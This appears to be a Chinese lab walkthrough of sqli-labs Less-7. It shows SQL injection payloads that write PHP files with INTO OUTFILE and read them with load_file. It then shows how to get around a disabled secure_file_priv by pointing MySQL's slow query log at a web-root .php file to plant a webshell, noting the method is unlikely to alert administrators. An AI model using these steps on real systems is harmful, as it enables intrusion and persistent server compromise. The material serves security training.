读写分析
这里经测试是字符型注入,并且包裹符号为:((“”))
所以我们这里的语句为:/sqli-labs/Less-7/?id=-1')) union select 1,2,3--+ 即可
然后看到提示是想让我们联系到文件写入

依此获得数据库账户密码,就不演示了
然后尝试用 into outfile 向里面新建文件及写入东西
/sqli-labs/Less-7/?id=-1')) union select 1,2,into outfile "D:/phpstudy_pro/WWW/sqli-labs/Less-7/id.php" --+
注:win电脑直接复制的路径层级之间间隔默认是使用\来分割,但是在这里不建议用,如果斜杠后是n开头,\n可能被识别为转义,所以尽量用/来代替,或者用//也行。如果被拦截可以将各路径名用16进制编码代替
然后发现报错

检查语句也没问题
然后找到源代码的sql语句在myphpamin执行
SELECT * FROM users WHERE id=(('-1')) union select 1,"aaa",null into outfile "D:/phpstudy_pro/WWW/sqli-labs/Less-7/1.txt";

在命令行执行也是一样的

这是因为在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。所以在mysql 5.6.34版本以后默认是不支持用 into file 写入文件的
我们可以通过执行命令来查看:show global variables like '%secure%';

可以看到我当前的secure_file_priv的状态为null

这时我们就不能进行写文件了
为了演示into file写入文件那么可以切换数据库版本为mysql 5.6.34以下
因为不方便切换版本,这里我还是直接改配置文件
linux
cat /etc/my.cnf
[mysqld]
secure_file_priv=
win
my.ini
[mysqld]
secure_file_priv=

然后去控制台或者phpmyadmin检验下
show global variables like '%secure%';

可以看到已经有读取和写入文件的权限了
写入
sqli-labs/Less-7/?id=1')) union select 1,2,"<?php phpinfo();?>" into outfile "D:/phpstudy_pro/WWW/sqli-labs/Less-7/1.php"--+


读取
/sqli-labs/Less-7/?id=-1')) union select 1,2,load_file("D:/phpstudy_pro/WWW/sqli-labs/Less-7/1.php")--+

没有数据,是不是觉得出了问题?
其实不然没有显示是应为这里本来就没有回显,换成有回显的关卡就可以了
利用慢查询日志突破secure_file_priv被禁用
上面内容在实战中并没有实际大用处,因为现在几乎还是没有这么低版本的数据库,除非开启了该权限,不过这种情况还是比较少的,所以下面我们来演示怎么突破它
条件:获取了网站的数据库账户密码并且能够登陆,且为高权限账户(即root)
登陆对方的phpmyadmin(当然也可以用其他的数据库管理平台)
我们主要利用慢查询日志来写shell,步骤大致分为三步:
1.设置slow_query_log=1.即启用慢查询日志(默认禁用)。
set global slow_query_log=1;

查看下当前慢查询日志是否开启
show global variables like '%slow_query_log%'

可以看到是开启状态的
2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名
set global slow_query_log_file='dir\filename';
# 说明:dir为你指定目录,filename为你想将日志写入的文件名,可以是txt也可以是php文件。注意路径之间的间隔符
例如:我这里:
set global slow_query_log_file='D:\phpstudy_pro\WWW\sqli-labs\Less-7\1.php';

同时可以在该目录下看到生成了1.txt的文件

我们查询的内容的结果都将会写入到该文件里
测试语句:
SELECT "<?php phpinfo();?>" or sleep(10)
访问该日志文件

可以看到语句成功执行,那么我们是不是可以写入一句话呢?
对慢查询日志的补充:
因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
时间默认超过多少的称为慢查询日志?
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:
show global variables like '%long_query_time%';

通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉。
FROM:无垠の安全
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论